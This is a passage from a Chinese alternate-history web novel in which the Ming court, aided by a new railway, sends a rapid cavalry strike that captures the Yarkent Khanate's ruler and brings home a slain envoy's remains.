实际上不只是王宪,很多人都等不及了,毕竟身居高位之人,大多都六十左右了,杨一清如今都七十有四了。 倘若不是一年半以前,火车的消息出来,让杨一清认识到大明正要经历巨大的变革,恐怕那时候杨一清就向嘉靖申请致仕了,毕竟他年纪太大了,虽然身子骨还算硬朗,但七十多还赖着不退,好说不好听。 但当杨一清知道火车的事之后,就改变了主意,原本想着的是准备等火车运行之后,看看情况再做决定,火车正式运行之后,激动的不只是王宪等兵部官员,还有杨一清这种身居高位,但年龄很大的朝中大佬。 他们很高兴,很高兴自己活的够久,不然根本等不到这等局面。 当初火车正式运行的时候,他们有种活久见的感觉,那火车给他们带来的震撼太大了,同时让他们意识到,大明将来的领土扩张,再无粮草和补给线的限制,将会大幅度提升,远远超过大汉和盛唐。 再加上如今大明国库充足,钱多到都不知道该怎么花,民间百姓富足,大明即将步入整个历史上前所未有的高峰。 他们算是乘上了末班车,会因为参与到这巨大的变革之中,因为帮助大明开疆拓土而被载入史册。 就像唐朝的房玄龄和杜如晦一般,其实杜如晦死的很早,贞观四年就死了,但杜如晦的大名却无人不知,无人不晓,这一切的根本原因,都是大唐的繁盛。 杨一清一想到自己可能和房玄龄杜如晦一般名留青史,就激动的夜不能寐,七十四岁的年龄,这一年多以来硬是干劲十足,完全没了以往摆烂的心态。 内阁的事务,杨一清处理的那叫一个条理清晰,朝会之上,杨一清也经常提出很多具有建设性的意见,这些意见完全不是从他个人利益的角度出发,而是从大明,从天下百姓的角度出发。 杨一清的追求彻底变了,从追求独断朝纲,追求个人利益,变成了成为名留青史的名臣。 人一旦有了更高的欲望和追求,就可以为了这个欲望而压制其他的欲望。 “陛下,王大人说的对,这叶尔羌汗国简直不把我大明放在眼里,请陛下下令出兵,老臣虽然年岁大了,却也愿意领兵出战,为大明效死。” 杨一清这话倒是说的真心实意,杨一清倘若能带兵攻打叶尔羌汗国,成了将来能位列真武殿,即便是兵败身死,也会因此名留青史,他已经七十多岁了,虽说人越老越怕死,但要看面对的是什么事了。 不过这话杨一清很清楚,自己也就是说说罢了,没人会同意,也不会有人让自己这个一大把年纪的内阁首辅领兵出征,太过荒唐了些。 “陛下,臣听闻孟大人在那叶尔羌汗国处处谨小慎微,从未有过僭越之举,没想到那叶尔羌汗国居然把他杀了,孟大人可是我大明的忠臣啊,叶尔羌汗国此举,无疑是不把我大明放在眼里。” 韩玠出列,神情激动道。 “是啊陛下,出兵吧。” 杨慎出列道。 “陛下,出兵吧。” 有了这几个大佬的带领,其他人纷纷出列,肯定嘉靖发兵。 嘉靖听到这话,叹了口气,一脸的为难。 “朕本欲与叶尔羌汗国共修秦晋之好,这才派出了孟爱卿出使,没想到......都是朕害了孟爱卿啊,孟爱卿忠心为国,却这么不明不白的死在了异国他乡,朕一定要替孟爱卿报仇,让那狼子野心的叶尔羌汗国见识一下大明的煌煌天威。” 嘉靖高声道。 “陛下英明!” 周楚出列,高声道。 “陛下英明!” 百官纷纷附和道。 “着林稚心领兵五万,陈兵乌海,为孟爱卿报仇。” 嘉靖说道。 没了漫长的补给线,也就不需要那动辄十几二十万的后勤兵了,五万大军已经是一个很恐怖的数字了,足以碾压叶尔羌汗国。 要知道叶尔羌汗国之所以没有往东扩张,就是被草原上的那些蒙古人挡住了,论战力,他们或许比草原上的蒙古人强一些,但也有限。 嘉靖让林鹿率领的五万大军,其中有三万会从大同的卫所兵之中出,如今的大同已经不算是大明的前线了,不过那三万卫所兵这几年一直在勤加训练,单论个体战力或许不及玄武军或者虎贲军,但整体加起来,打阵地战的话,玄武军和虎贲军还未必是对手。 当然,如果打突击战或者闪电战,玄武军和虎贲军就会有很大的优势,毕竟这两支周楚训练出来的骑兵,优点在于机动性,而非阵地战。 除了这三万卫所军之外,嘉靖还准备让虎贲军跟着,正奇相合,再加上大明的火器,嘉靖觉得这仗只要不是让一个蠢的不可救药的人来打,都不知道怎么输。 很明显,林鹿非但不蠢,领兵打仗的本事在大明也能排在前五,甚至前三。 之所以不让周楚领兵,一来是因为周楚一年多以前刚从西藏回来,在西藏征战两年,嘉靖也不希望周楚太过劳累,二来嘉靖眼看着和周楚约定的两年还差不到半年了,他想看着周楚和林瑶大婚。 更何况以如今周楚为大明立下的功劳,如今周楚的权势,嘉靖不让他领兵,也是对他的一种保护,周楚再立了功,嘉靖或许还有办法封赏,但周楚如今才多大?二十出头。 这个年纪,位极人臣,以后周楚封无可封的,赏无可赏的时候呢? 细水长流的道理,嘉靖明白,周楚也明白,所以周楚倒也乐得看到这种场面。 “臣领旨!” 林鹿出列道。 “林将军,回头需要哪里的兵马只管说,我兵部一定竭尽所能为将军调兵。” 王宪看着林鹿,说道。 “多谢王大人,以后少不得要麻烦王大人。” 林鹿笑道。 “这些都是兵部应该做的,林将军这么客气,我可要不高兴了。” 王宪故意板着个脸说道。 “行了,退朝吧。” 嘉靖眼看着这俩人还聊上了,有些无奈地摆了摆手道。 众人听到这话,纷纷离开了朝堂。 “大人,属下怕打不好这场仗,还望大人指点一二。” 林鹿来到周楚面前,有些忐忑道。 林鹿这么做,首先是向周楚表明心意,他永远是周楚的属下,其次是想说即便皇帝钦点了他领兵出征,他也需要周楚指点,说白了就是不着痕迹的向周楚表明自己的态度。 “怕什么?你只要带上大同的卫所兵,再带上虎贲军,其他随便配一些兵马都行,大同的那些兵马打阵地战无人能及,虎贲军可以作为先锋部队,提前出发,以虎贲军的行军速度,到时候叶尔羌汗国都反应不过来,虎贲军就打到了他们都城了,说白了,大军只是个幌子,给他们看的,闪电战才是最快解决战斗的方式。” 周楚笑道。 林鹿听到这话,眼睛顿时亮了,他原本只是想向周楚表明自己的态度,没想到周大人给出的战略居然如此厉害,这等战略,林鹿设身处地的想了想,倘若自己是叶尔羌汗国的大汗,想想就头皮发麻。 这个战略厉害就厉害在进可攻退可守,倘若虎贲军奇袭不成,完全可以退回来和大部队会合,届时加上火器,就算是硬桥硬马的打,叶尔羌汗国拿什么守? 更何况现在的大明可不是以前的大明了,以往这种长途远征,最怕的就是不能快速打下来,一旦形成拉锯态势,对进攻方极为不利,因为光是补给就能把大明耗死。 现在有了火车,补给线再也不是问题,就算打持久战,林鹿也耗得起。 有了这三重保险,林鹿心中顿时有了底气,这要是还能输,他干脆拔剑自刎得了。 “大人一席话真是醍醐灌顶,属下知道该怎么做了。” 林鹿说着恭敬地对着周楚行了个礼,周楚也没推辞,心安理得地受了。 “周大人带兵真是神鬼莫测,这等用兵之道,我要是你的敌人,恐怕睡觉都睡不踏实。” 一旁的王宪恭维道。 周楚方才说话也只说一半,剩下的一半周楚相信林鹿肯定是可以领会的,毕竟这里人多眼杂,保不齐被谁听到了,就被泄露出去了。 不过周楚敢这么说,完全是因为有底气,再加上自己和林鹿旁边没其他人,一个王宪,还有杨一清和杨慎,这几人基本是不可能泄密的。 “还望诸位替稚心保密,不然这份战略一旦泄露,就不灵了。” 周楚看着几人说道, “这是自然,周大人真乃文武全才,大明论领兵打仗,恐怕无人能出其右,当初倭寇在大明沿海肆虐了多少年,周大人仅仅用了大半年就彻底荡平了,能平定倭患者,非周大人莫属。” 杨一清忍不住夸赞道。 这里的所有人都清楚,倭寇的问题从来都不是一个简单的问题,倘若只是剿倭,那么永远都不可能彻底荡平倭寇,想要剿倭,就得先解决江南走私集团,这才是根本。 这件事能如此高效做成的,杨一清不知道以后会不会有人,咱纵观有明一朝,唯周衡器一人而已。 “是啊衡器,按理来说陛下应该让你领兵的,不过这京城离不开你,陛下也离不开你,你能为大明做的太多了,倘若只是被领兵打仗空耗了时间,那是大明的损失,也是陛下的损失。” 杨慎感慨道。 杨慎这话倒也是说的真心实意,虽说有替嘉靖找补的嫌疑。 “是啊,要是大人肯领兵,哪还有属下的份。” 林鹿急忙附和道。 周楚听到这话,笑了笑。 “都是为大明效力,这叶尔羌汗国攻打的难度原本只在于补给线,现在这个问题被解决了,叶尔羌汗国不过是我大明的囊中之物,谁去都是一样的,王大人,除了大同的三万卫所兵,还差两万兵马,还望王大人替稚心调一些精兵强将,不要拖了他的后腿才是。” 周楚看向王宪,说道。 “周大人放心吧,这两万兵马本官亲自去选,绝对是个顶个的好兵,本官可以立军令状,他们绝不会拖林将军的后腿。” 王宪保证道。 第361章 林鹿点兵,群情激奋的大军 为了确保能以最快的速度拿下叶尔羌汗国,周楚直接将玄武军也调拨给了林鹿,同时让已经考上秀才的赵贞吉和胡宗宪两人为左右两路先锋将领,分别率领虎贲军和玄武军分两路从大同一路突进到乌海以西。 不过这有个前提,想要高效且准确的抵达叶尔羌汗国,需要草原上的蒙古人作为向导。 林鹿率领虎贲军和玄武军来到大同的时候,谢丕以及达达不花等一众大同官员,早已得到嘉靖的旨意,等候多时。 “林将军。” 谢丕看到林鹿之后,行礼道。 “谢大人,有劳诸位久等了。” 林鹿翻身下马道。 如今的谢丕可不是以前的谢丕了,谢丕作为西域都护府的都护,封疆大吏,这次得到皇帝的命令,特意带着达达不花和一些蒙古人来大同见林鹿。 “林大人言重了,这位就是达达不花大人,他对草原极其熟悉,这位就是我和你说起过的抚远大将军林将军。” 谢丕看向一旁的达达不花,介绍道。 达达不花看着林鹿的眼神,多少有些畏惧,虽说彻底平定草原的是锦衣卫指挥使周楚,但在那之前,林鹿作为大同守将,将草原犁了可不止一遍,当初达达不花带着他的部落被林鹿追的到处跑。 要说抚远大将军,可能很多蒙古人不清楚,要说当初的大同守将,很多人都会发自内心的畏惧。 “我认识林将军,当初林将军还是大同守将的时候,可是威震草原,草原上的蒙古人提起林将军,都瑟瑟发抖。” 达达不花恭维道。 谢丕和林鹿听到这话,都笑了笑。 “此次陛下让我率军出征叶尔羌汗国,不过此地距离叶尔羌汗国甚远,草原上又极易迷路,还望达达不花大人为我等找几个识路的向导。” 林鹿来到达达不花面前,行礼道。 这让达达不花有些受宠若惊,虽说他如今是副都护,官职很高,在西域都护府的权利也很大,甚至很多事都是他在主抓,谢丕主要起到一个监视和牵制他的作用。 但眼前的林鹿当初实在是把他们打怕了,此时看到林鹿居然对他如此客气,这让他有种如坠梦中的感觉。 实际上达达不花一直都是蒙古人之中鸽派的鸽派,一直都主张和大明议和,主动归顺大明,不过他的部落太小,人微言轻,根本没人听他的。 现在的达达不花,作为西域都护府的副都护,可谓是如鱼得水,要权势有权势,要钱有钱,要人有人,比以前那种朝不保夕的日子不知道强了多少倍。 倘若有蒙古人想反了大明,都不用别人动手,达达不花第一个带人灭了他,因为达达不花怕引起大明皇帝的误会。 “林将军放心,本官一定会帮将军选几个最好的向导。” 达达不花拍着胸脯保证道。 “谢大人,林将军,达达不花大人,下官备了酒宴,为林将军接风洗尘,还请诸位移步。” 眼看众人商议的差不多了,后面站着的大同知府来到几人面前,神情恭敬道。 “酒就算了,我军务在身,饮酒误事,饭还是可以吃的。” 林鹿说道。 “都听林将军的,此时确实不宜饮酒。” 谢丕附和道。 “两位大人说得对,是下官的疏忽。” 大同知府拍了拍脑门,有些懊恼道。 这话也不过是他的表演罢了,实际上酒宴都应该准备好,领导可以不吃,酒可以不喝,但事先你必须得准备,倘若不准备,落在领导眼里,那就是不把他们放在眼中。 要知道大同知府不过是正四品的官员,如今的谢丕可是正儿八经的正二品,林鹿更不用说了,封号大将军,虽说在大明武将的身份不如文官,但也要看这武将是谁。 眼前的林鹿可是德清公主的儿子,皇帝的表兄,还封了侯,无数军功在身,这样一个人,哪怕当场在大同拔剑把他砍了,砍了也就砍了,最多就是那些六科的言官弹劾一下林鹿,林鹿完全可以用贻误军机把这些人的弹劾挡过去。 “诸位大人,本官就不去了,本官还要去为林将军挑选合适的向导,不能因为酒宴误了林将军的大事。” 达达不花说道。 “那就有劳大人了。” 林鹿行礼道。 达达不花离开后,林鹿和谢丕还有那些大同的大小官员,纷纷来到了大同的驿馆,这里是官员接待上官的地方。 原本按照大明的规定,像这种驿馆接待的规则,菜的多少都是有规定的,只是这个规定很少有人遵守。 毕竟如果真按照规定去办,那些菜实在是上不了台面,很容易得罪领导。 之前大明的官员之所以贪,这方面的原因也占很大一部分,因为各地官员接待上面来的巡察使,或者其他官员的时候,接待的花销都是从官员自己的俸禄之中出的。 当初朱元璋制定这个规定的时候,本意是想杜绝各地官员公款吃喝,奢靡成风的现象,但到后来,反而导致了各地官员不得不贪污的事实。 对于这种现象,当初朝廷进行考成法改革的时候,就做出了相应的规定,每年从各地的财政收入之中,拿出占比很小的一部分,算作各地官员的招待费用,一般而言这部分费用是绝对够他们招待用的。 倘若不够,就要当地官员自己出了,如此一来,各地官员接待的时候,都会先算一下开支,以免花超了,倘若想花更多的钱吃喝,倒也不是不可以,只要把地方上的财政收入弄上去就行。 当然,这个财政收入是决不能从底层老百姓那里搜刮的,如今各地的锦衣卫主要的职责便是监察这些官员,考成法改革没多少年,而且成效斐然,如今无论是各地官员,亦或是锦衣卫,都算清明。 当然,时间久了,肯定会出现锦衣卫和官员勾结的现象,到时候朝廷就需要制定出更严谨的监察机制了。 大同知府这次招待林鹿和谢丕,可谓是下了血本,从大同的招待费用之中支出了很大一笔,弄得菜可谓是极其丰盛,甚至酒都是好酒。 听到林鹿说不喝酒的时候,大同知府内心其实是松了口气的,如此一来,他们就可以省下一大笔钱了,酒宴最贵的从来都不是菜,而是酒,特别是好酒,一坛好酒就抵得上所有饭菜的价值。 众人以茶代酒,可谓是宾主尽欢,特别是谢丕和林鹿两人,以前都在京城,虽说没什么交集,如今在大同见到,却也感觉格外的亲切。 茶足饭饱之后,达达不花带着五六个蒙古人来到了驿馆。 “谢大人,林将军,这几个都是草原上的活地图,对草原再熟悉不过了。” 达达不花说道。 “有劳大人了,回头我会在陛 林鹿看着这几人,满意地点了点头。 达达不花听到这话,眼睛顿时亮了,他对大明一直都有着极强的认同感,毕竟他祖上是正儿八经的汉人,再加上成为副都护之后,他的生活发生了天翻地覆的变化,如今的达达不花,娶了很多美娇娘,日子好不自在,倘若让他回到以前那种生活,他肯定是适应不了的。 这种情况下,大明皇帝对他的认同就显得格外重要了。 “多谢林将军。” 达达不花郑重其事的对林鹿行了一个蒙古人的礼节。 “多谢诸位款待,不过本将皇命在身,不便久留,就此拜别。” 林鹿对着众人行礼道。 “林将军哪里的话,言重了,言重了。” 谢丕摆了摆手道。 林鹿说完这话,翻身上马,没了刚才的温和,整个人身上散发着一种让人望而生畏的气质,达达不花以及那些蒙古向导看着眼前的林鹿,恍惚间仿佛回到了当初被林鹿带来兵马追的慌忙逃窜的时候。 那几个蒙古人也纷纷上马,小心地跟在林鹿身后,林鹿直奔大同城外,将其中两个蒙古人分别交给了赵贞吉和胡宗宪。 “赵孟静胡汝贞何在?” 营帐之内,林鹿脸色肃穆道。 “末将在!” 赵贞吉和胡宗宪纷纷出列道。 “本将将这两个向导交给你们,令尔等八日之内突进到叶尔羌汗国,能不能做到?” 林鹿厉声道。 “能!” 赵贞吉两人对视了一眼,态度坚决道。 大同距离乌海一千五百里左右,以虎贲军和玄武军的行军速度,达到极限的话,每日可以推进两百里左右,林鹿给出的八天时间,已经算是极为严苛了。 但行军打仗,打的就是兵贵神速,哪怕慢了半天,都有可能出现无数变故。 当然,如果是短途突进的话,虎贲军和玄武军的速度还能大幅度提升,但这种长途行军,要考虑马的耐受力,速度是有极限的。 “即刻开拔,不得片刻耽搁。” 林鹿下令道。 胡宗宪两人听到这话,纷纷带上头盔,来到营帐之外,开始整顿兵马。 林鹿则带着剩下的蒙古人一路来到了大同卫所兵的军营之中。 林鹿当初镇守大同的时候,这些卫所兵都归他节制,这里无论是将领亦或是士卒,都认识林鹿。 “小的见过将军!” 军营外哨塔上值守的士兵看到是林鹿,急忙来到林鹿面前,恭敬行礼。 “本将奉皇命,前来接管本部卫所兵。” 林鹿说着拿出嘉靖给他的兵符和圣旨,虽说林鹿即便不拿任何东西,也可以随意出入军营,但那样的话,就有拥兵自重的嫌疑了。 两个哨兵看到林鹿手中的兵符和圣旨,纷纷跪下。 “前面带路吧。” 林鹿并没有宣读圣旨,这两个士卒还不够格。 两个哨兵听到这话,纷纷起身,在前面牵着林鹿的马,进了军营。 “末将拜见将军。” 军营之中,无论是将领亦或是千总,见到林鹿纷纷行礼。 “召集大军集结,本将奉皇命,要征讨叶尔羌汗国,尔等随我出征。” 林鹿晃了晃手中的圣旨和兵符道。 众人听到这话,急忙去召集大军,很快,三万大军就集结完毕了。 “奉天承运皇帝诏曰,半年前,朕派遣孟文轩率领大明使团前往叶尔羌汗国,欲与叶尔羌汗国修秦晋之好,不曾想那叶尔羌汗国狼子野心,孟文轩在叶尔羌汗国处处礼让,却遭到了他们的毒手,朕得知此消息,悲痛欲绝,孟文轩乃我大明的忠臣良将,却莫名死在异国他乡,朕决不能容忍,朕决议征讨叶尔羌汗国,为孟文轩报仇!” 林鹿高声读完了圣旨。 原本调集兵马的话,只需要兵符就足够了,嘉靖之所以写这封圣旨,目的就是为了军心,孟继为何非得死在叶尔羌汗国,为的就是名正言顺,为的正是师出有名,名正言顺,师出有名,军心就会拧成一股绳,则无往不利。 相反,倘若名不正言不顺,军心就会涣散,而叶尔羌汗国的士兵为了保家卫国,军心自不必说。 此消彼长一下,不说能不能灭了叶尔羌汗国,即便是成功了,不知道要多损失多少兵马,多消耗多少时间。 倘若攻打叶尔羌汗国空耗许多国力,那么接下来继续往西打呢?恐怕会遭到无数人的反对,这绝不是嘉靖和周楚想要看到的。 嘉靖的目标从来都不只是一个叶尔羌汗国,而是要将大明的版图不断地往西推进。 “兄弟们,叶尔羌汗国害死我大明使臣,要不要替他报仇。” 林鹿收起圣旨,神情激动地高声喊道。 林鹿沉默的这一会,三万大军之中有些没听清林鹿说的什么的,通过,口口相传,已经基本都知道了圣旨的内容,此时这些士兵一个个正义愤填膺呢,听到林鹿这话,气血瞬间上涌。 “报仇!报仇!报仇!” 三万大军齐声叫喊道,声势极为浩大。 林鹿压了压双手,一众大军这才安静了下来。 “既然要报仇,那就随我出征叶尔羌汗国,灭了叶尔羌汗国,要让他们明白,我大明的天威不可冒犯!” 第362章 活捉赛德汗,闪电战的恐怖之处 大同卫所兵,以及兵部给林鹿调集的两万大军,基本都是步兵,每日的行军速度有限,平均也就每日五十里,这还是在相对平坦的地形上行军,倘若是山地的话,行军速度就会大大降低。 如此一来,林鹿率领大军从大同出发,要一个多月才能抵达叶尔羌汗国。 叶尔羌汗国是由赛德汗于正德八年建立的,到如今满打满算建国十四年,正德二年,马哈木死了,马哈木死后,鞑靼以西的蒙古人陷入了长达几年的混战。 赛德汗趁机崛起,正德八年,赛德汗从阿巴扎乞儿手中夺取喀什、叶尔羌和于阗,正式建立叶尔羌汗国。 如今的赛德汗虽然刚过四十,但因为常年的征战,旧伤发作,身体已经大不如前,赛德汗年轻的时候,他爹死的早,全靠他娘一手将他养大,赛德汗建立叶尔羌汗国之后,对王太后无比孝敬。 孟继正是看准了这一点,才不断地编排王太后,甚至给王太后编排出了好几段艳史,甚至让人用蒙文写成书,花钱找人抄出来,那本书上面,赛德汗连他真正的爹是谁都不知道。 这让赛德汗无法容忍,要知道赛德汗信奉的是伊斯兰教,他在建国之后在叶尔羌汗国不断地推行伊斯兰教,对于孟继的行为,他可以说是一忍再忍了,但孟继在他的雷点上反复横跳,这让他无论如何都容忍不了了,直接把孟继杀了。 如今孟继的尸骨还在叶尔羌汗国的城墙上挂着,为的就是体现赛德汗的威严不可触犯,当初大明使团成员想要趁机偷回孟继的尸骨,但赛德汗早就料到了,派人严加看守,大明使团眼看无机可乘,只能先回大明报信。 这次嘉靖让林鹿征讨叶尔羌汗国,还给了他一个命令,无论如何都要带回孟继的尸骨,让他落叶归根。 “陛下,不好了,我们的人得到消息,大明皇帝得知那孟继死在我们这里之后,无比震怒,已经派了五万大军,要对我们开战。” 叶尔羌汗国的丞相来到赛德汗面前,满脸担忧道。 “咳咳.....” 赛德汗这些天咳嗽的越来越厉害,他明显能感觉到身子骨大不如前了,恐怕活不了几年了。 “怕什么?那大明京城离我们两千多里,即便他们是从大同发兵,也有一千五百里,如此长的战线,大明如何保证补给线?别说是如今的大明了,就算是当初的永乐皇帝又如何?他们在草原上能攻打的距离是有限的。” 赛德汗听到这话,丝毫不急,他之所以敢杀孟继,就是清楚这一点,在他眼里,大明还是十年前的大明,将领腐朽,毫无战意,即便大明敢对自己用兵,如此长的补给线就不说了,大明如今有什么出名的将领吗? 最起码赛德汗是没听说过。 “陛下,今时不同往日了,如今大明的国力得到了大幅度的提升,前些年大明彻底征服了乌思藏,乌海以东的蒙古人也都被大明彻底征服了,大汗切不可掉以轻心。” 丞相有些无奈道。 赛德汗听到这话,坐直了身子,这些信息他还是第一次听说,叶尔羌汗国距离大明太远,很多消息就是极其滞后的。 “大明军队什么时候开拔的?” 赛德汗此时也意识到了事情的严重性,看着丞相满脸慎重道。 “大概七日之前,大明的大军从大同开拔。” 丞相如实回答道。 叶尔羌汗国的丞相自从孟继死后,一直都担心大明宣战,所以派出了细作前往大同,这些细作倒也看到了某一段铁轨,但他们根本不知道那是干什么用的,也就没当回事。 “丞相未雨绸缪,提前得知大明的部署,本王佩服,如今自然知道他们的部署,倒也不必着急,五万大军从大同到我叶尔羌,得一个多月的时间,我们完全可以以逸待劳,等他们到了,打他们一个措手不及。” 论行军打仗,赛德汗可谓是行家里手,整个叶尔羌汗国都是他打下来的。 丞相听到这话,心里顿时有了底,也不着急了。 “陛下说得对,大明劳师远征,长途跋涉,本就是疲惫之师,我们有心算无心,还都是骑兵,想要击溃大明的军队易如反掌,大王英明。” 丞相忍不住拍了个马屁道。 “本王已经多年没有征战了,趁着现在还能动,让大明见识一下我叶尔羌将士的威风。” 赛德汗一提到打仗,也不咳嗽了,直接站起来道。 “传令下去,三日之后,大军集结,本王要亲自练兵。” 赛德汗看着丞相说道。 “是,陛下。” 丞相恭敬道。 “大汗,不要太过劳累了,赶紧把药喝了。” 赛德汗的宠妃端着一碗药,来到他面前,柔声道。 赛德汗接过那碗药,也不管其味道多难闻,一饮而尽。 喝完药没多久,赛德汗感觉有些困顿,此时眼看着天色也见黑了,于是就在宠妃的服侍回到寝宫入睡了。 这一觉赛德汗睡的很不踏实,他隐隐约约间总是能听到马鸣声和喊杀之声。 “陛下,不好了,大明军队打进来了,陛下快逃吧。” 王宫的守卫冲进了赛德汗的寝宫之中,跪倒在地道。 赛德汗被守卫吵醒,脑袋还有些发懵,听到这话,彻底傻眼了。 “明军?怎么可能?不是说明军七日之前才刚开拔吗?” 赛德汗满脸不解道。 “陛下,这股明军个个有马,应该是轻骑兵,一路突进到这里。” 守卫擦了擦脸上的血,解释道。 赛德汗听到这话,顿时觉得脑瓜子嗡嗡的,他怎么都没想到,大明的军队居然能在如此短的时间内打到他叶尔羌的都城,自己昨天下午才刚刚得知大明出兵的消息,今天明军就打到了? 正在赛德汗发懵的时候,胡宗宪带着上百个士兵直接冲了进来,他就怕赛德汗趁乱逃跑,所以攻入王宫之后,抓到人就问赛德汗在哪。 不是所有人都宁死不说的,胡宗宪得知赛德汗的位置之后,第一时间就冲了过来。 赛德汗眼看着这么多人把自己团团围住,这才明白大势已去。 “要杀要剐,悉听尊便。” 赛德汗认清了眼前的形势,说道。 “放心,现在还不会杀你,来人,把他捆起来,装上囚车。” 胡宗宪下令道。 很快,赛德汗就被五花大绑,众人不知道从哪里弄了一辆囚车,将赛德汗塞了进去。 此时赵贞吉带着玄武军才姗姗来迟,急忙下令加入战斗,很快,整个都城和王宫的守卫都被屠戮殆尽。 叶尔羌都城的所有官员都被带到了胡宗宪和赵贞吉面前。 “没想到你小子能比我还快。” 赵贞吉有些懊恼道。 虽然只是慢了一点,但头功肯定是没了,特别是抓到赛德汗,可是大功一件。 “那没办法,命好。” 胡宗宪不无得意道。 “大人,孟大人的尸骨已经殓了回来。” 此时一队士兵表情沉重的带着一口棺材来到了众人面前。 胡宗宪和赵贞吉看到棺材,全都表情肃穆。 “把他们全都杀了,为孟大人陪葬。” 胡宗宪拔出佩剑,高声道。 赵贞吉在一旁听到这话,并没有反对,当初他们跟着周楚在西藏征战两年,什么尔虞我诈没见过,有一次赵贞吉因为心软,放了当地的地主一命,结果那些人转头就带着兵马来打他们了。 自那以后,赵贞吉明白了一个道理,对敌人的仁慈,就是对自己人的残忍。 早已准备好的士兵,纷纷拔刀,将这些官员斩杀。 这些官员被杀之后,整个叶尔羌都城的百姓顿时陷入了恐慌之中,于是胡宗宪让人贴出了告示,让当地蒙古人的高层来见他们。 “大家也都看到了,如今赛德汗被我们抓了,他我们肯定是要带回去的,这些官员也被我的人杀了大半,叶尔羌注定只要并入大明的,诸位要是识时务,说不定以后还能被我大明的皇帝陛下封个国公。” 胡宗宪看着众人,说道。 这话说完,旁边负责翻译的把这话又用蒙语说了一遍。 叶尔羌汗国的人只有很少一部分懂汉语,大部分都是只说蒙语的,所以需要翻译。 那些蒙古人的高层听到这话,眼睛顿时亮了,蒙古人心中大多没什么忠君爱国的思想,不只是蒙古人这样,草原上的游牧民族基本都是这个特点,几乎每一次大汗一死,各个部落之间就会开始新一轮的战争,赢的人就可以建国,成为新的大汗。 所以这些人根本没有去救赛德汗的想法,而是想着如何利益最大化,成为将来大明封的国公。 “诸位,如今这些官员都被我们杀了,这都城的秩序,还有百姓的安抚,还需要你们来做,谁做得好,我都会如实上报给皇帝陛下。” 胡宗宪开始给众人画起了大饼。 这些人听到这话,顿时来了精神,纷纷开始出谋划策,并且派出人挨家挨户的宣传,说大明的天兵不会伤害他们,叶尔羌的百姓这才放下心来。 胡宗宪派出了一千左右的士兵,押送赛德汗,同时护送孟继的尸骨回大明。 这一千士兵,主要是为了押送赛德汗,毕竟没人会去抢孟继的尸骨。 这些士兵,将孟继的棺材和赛德汗送到乌海以东的火车站台,将棺材送上了火车,赛德汗也跟着上了火车。 看着眼前的钢铁巨兽,赛德汗惊骇莫名,恍惚间他觉得自己是不是和这个世界脱轨了,大明何时变成了这般,这钢铁巨兽是什么时候出现的? 不管赛德汗的疑惑,那些士兵分出五百人上了火车,押送赛德汗,其他五百人牵着马原路返回了。 草原上想要运送孟继的棺材,速度并不会很快,火车的速度虽然每个时辰只有八十里,但可以一天十二时辰不停地开,如此一天下来,可以行进近千里,单论速度,甚至远超轻骑兵的行军速度。 当然,如果是装满了人的火车,速度会大大下降,即便如此,也比普通士兵的行军速度快得多。 倘若不是因为战马的原因,虎贲军和玄武军完全可以乘坐火车突袭叶尔羌汗国。 最重要的是,火车如今主要负责为林鹿的大军运送补给,否则林鹿都想让大军乘坐火车前往乌海了。 虽说五万人要分成无数次乘坐,但即便如此,也比慢慢行军快得多。 不过林鹿也清楚,这五万大军的主要作用就是用来迷惑叶尔羌汗国的人,走的太快反而不好,只有大军一直在他们的视线之中,虎贲军和玄武军打到的时候,他们才会毫无防备。 兵者,诡道也,正奇相合,这五万大军是正,玄武军和虎贲军则是奇兵,奇兵往往能起到奇效,迅速终结战争。 仅仅用了三日不到,在大同经历了转车,孟继的尸骨和赛德汗来到了大明的京城。 这让赛德汗愈发怀疑自己是否在做梦,要知道叶尔羌距离大明京城可是超过两千里,三天不到就到了? 京城中的官员得知赛德汗被活捉送到了京城,孟继的尸骨也运了回来,也都有些恍惚。 陛下才下旨对叶尔羌用兵多久来着?半个月不到吧?赛德汗抓回来了? 兵部之中,王宪得知这个消息,顿时愣住了。 他是知道周楚给林鹿的作战计划的,按照周楚的战略,王宪想过叶尔羌可能会很快被灭国,但他怎么都没想到会这么快。 “周大人的用兵能力,果然是神鬼莫测。” 王宪忍不住感慨道。 虽然领兵的是林鹿,但王宪作为兵部尚书,很清楚这场仗的决定性因素在周楚,因为战略是周楚制定的。 就像当初洪武年间,每次北伐,战略都是洪武皇帝制定的,徐达之流不过是冲锋陷阵罢了,唯一一次败给王保保,还是因为蓝玉不按照朱元璋制定的战略,轻敌冒进,才导致大军溃败。 其他时候,只要根据朱元璋制定的战略,徐达等人从无败绩,甚至很多将领都是朱元璋一手培养起来的。 如今的周楚,让王宪想起了洪武皇帝,无论是抚远大将军林稚心,亦或是镇北大将军陆云瑾,都是周楚一手培养起来的。 皇宫之中,嘉靖得到这个消息,也是激动的站了起来。 “传旨下去,讣告全城,三日之后厚葬孟文轩,文武百官都要参加。” 嘉靖神情肃穆道。 第363章 孟继的葬礼,孟清远母子的反应 孟清远刚刚进入南镇抚司,发现所有的同僚看自己的眼神都很奇怪,那些眼神之中似乎有尊敬,又似乎带着一丝悲悯,这种眼神孟清远从未在他的同僚那里见到过。 “清远,何大人让你去他那里一趟。” 其中一个锦衣卫拍了拍孟清远的肩膀,叹了口气道。 孟清远虽然摸不着头脑,却也从善如流,很快就来到了何二面前,刚进入何二的衙署,孟清远就看到了一个熟人,正是当初让自己进南镇抚司的那个大人。 “属下见过两位大人。” 孟清远恭敬行礼道。 “咱俩得有半年多没见了吧。” 周楚看着孟清远,笑道。 “是啊大人,上次见面已经是七个多月之前了。” 孟清远如实回答道。 在周楚面前,孟清远要比在何二面前拘谨的多,毕竟这半年多,何二对他多加照顾,他和何二已经很熟了,平日里并不会太拘谨,但对孟清远而言,周楚则要神秘的多,身份似乎很不一般。 孟清远生怕自己说错了话,惹的这位大人不高兴。 “不必如此拘谨,坐吧,孟大人将你们母子二人交给本官照顾,以后把我当个长辈就行,我和你爹私交还不错。” 周楚喝了口茶,说道。 孟清远听到这话,看了看何二。 “大人让你坐就坐,看我干什么?” 何二被孟清远这个眼神看的一身冷汗,周楚这个锦衣卫指挥使还在这里呢,你一个南镇抚司的锦衣卫不听周大人的,还要征求自己的意见,这不是把自己架在火上烤吗? 当然,何二也明白,孟清远并不清楚周楚的身份,这大半年的时间,自己对他又多加照顾,此时孟清远能征求他的意见,何二心中还是很欣慰的。 最起码这小子不是个白眼狼。 “坐吧,何二都得听我的,不必征求他的意见。” 周楚也明白其中的缘由,直接挑明道。 孟清远听到这话,愈发觉得眼前的周楚神秘了。 